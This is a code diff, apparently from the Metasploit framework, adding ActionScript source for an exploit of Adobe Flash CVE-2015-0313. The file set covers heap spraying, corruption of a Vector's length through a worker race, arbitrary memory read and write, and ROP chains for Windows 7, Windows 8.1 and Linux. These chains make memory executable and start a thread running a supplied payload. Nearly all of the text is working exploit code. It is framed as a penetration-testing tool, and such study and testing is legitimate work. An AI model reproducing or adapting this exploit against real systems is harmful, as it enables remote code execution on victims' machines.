// 5. Build with: mxmlc -o msf.swf Main.as
|
||||||
|
|
||||||
|
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
|
||||||
|
// Modified to be used from msf
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import flash.events.Event
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.Worker
|
||||||
|
import flash.system.WorkerDomain
|
||||||
|
import flash.system.MessageChannel
|
||||||
|
import flash.system.ApplicationDomain
|
||||||
|
import avm2.intrinsics.memory.casi32
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
private var ov:Vector.<Object> = new Vector.<Object>(80000)
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
private var ba:ByteArray = new ByteArray()
|
||||||
|
private var worker:Worker
|
||||||
|
private var mc:MessageChannel
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var exploiter:Exploiter
|
||||||
|
|
||||||
|
public function Exploit()
|
||||||
|
{
|
||||||
|
if (Worker.current.isPrimordial) mainThread()
|
||||||
|
else workerThread()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mainThread():void
|
||||||
|
{
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
ba.length = 0x1000
|
||||||
|
ba.shareable = true
|
||||||
|
for (var i:uint = 0; i < ov.length; i++) {
|
||||||
|
ov[i] = new Vector.<uint>(1014)
|
||||||
|
ov[i][0] = 0xdeedbeef
|
||||||
|
}
|
||||||
|
for (i = 0; i < 70000; i += 2) {
|
||||||
|
delete(ov[i])
|
||||||
|
}
|
||||||
|
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
|
||||||
|
mc = worker.createMessageChannel(Worker.current)
|
||||||
|
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
|
||||||
|
worker.setSharedProperty("mc", mc)
|
||||||
|
worker.setSharedProperty("ba", ba)
|
||||||
|
ApplicationDomain.currentDomain.domainMemory = ba
|
||||||
|
worker.start()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function workerThread():void
|
||||||
|
{
|
||||||
|
var ba:ByteArray = Worker.current.getSharedProperty("ba")
|
||||||
|
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
|
||||||
|
ba.clear()
|
||||||
|
ov[0] = new Vector.<uint>(1022)
|
||||||
|
mc.send("")
|
||||||
|
while (mc.messageAvailable);
|
||||||
|
for (var i:uint = 0;; i++) {
|
||||||
|
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
|
||||||
|
ov[0][i] = 0xffffffff
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ov[0][0xfffffffe] = 1014
|
||||||
|
mc.send("")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function onMessage(e:Event):void
|
||||||
|
{
|
||||||
|
var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
|
||||||
|
Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
|
||||||
|
if (mod == 1022) mc.receive()
|
||||||
|
else {
|
||||||
|
for (var i:uint = 0; i < ov.length; i++) {
|
||||||
|
if (ov[i].length == 0xffffffff) {
|
||||||
|
uv = ov[i]
|
||||||
|
} else {
|
||||||
|
if (ov[i] != null) {
|
||||||
|
delete(ov[i])
|
||||||
|
ov[i] = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (uv == null) {
|
||||||
|
Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,74 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint = 1014
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
if (op_system == "Windows 8.1") {
|
||||||
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,210 +0,0 @@
|
||||||
// Build how to:
|
|
||||||
// 1. Download the AIRSDK, and use its compiler.
|
|
||||||
// 2. Be support to support 16.0 as target-player (flex-config.xml).
|
|
||||||
// 3. Download the Flex SDK (4.6)
|
|
||||||
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
|
||||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
|
||||||
// 5. Build with: mxmlc -o msf.swf Main.as
|
|
||||||
|
|
||||||
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
|
|
||||||
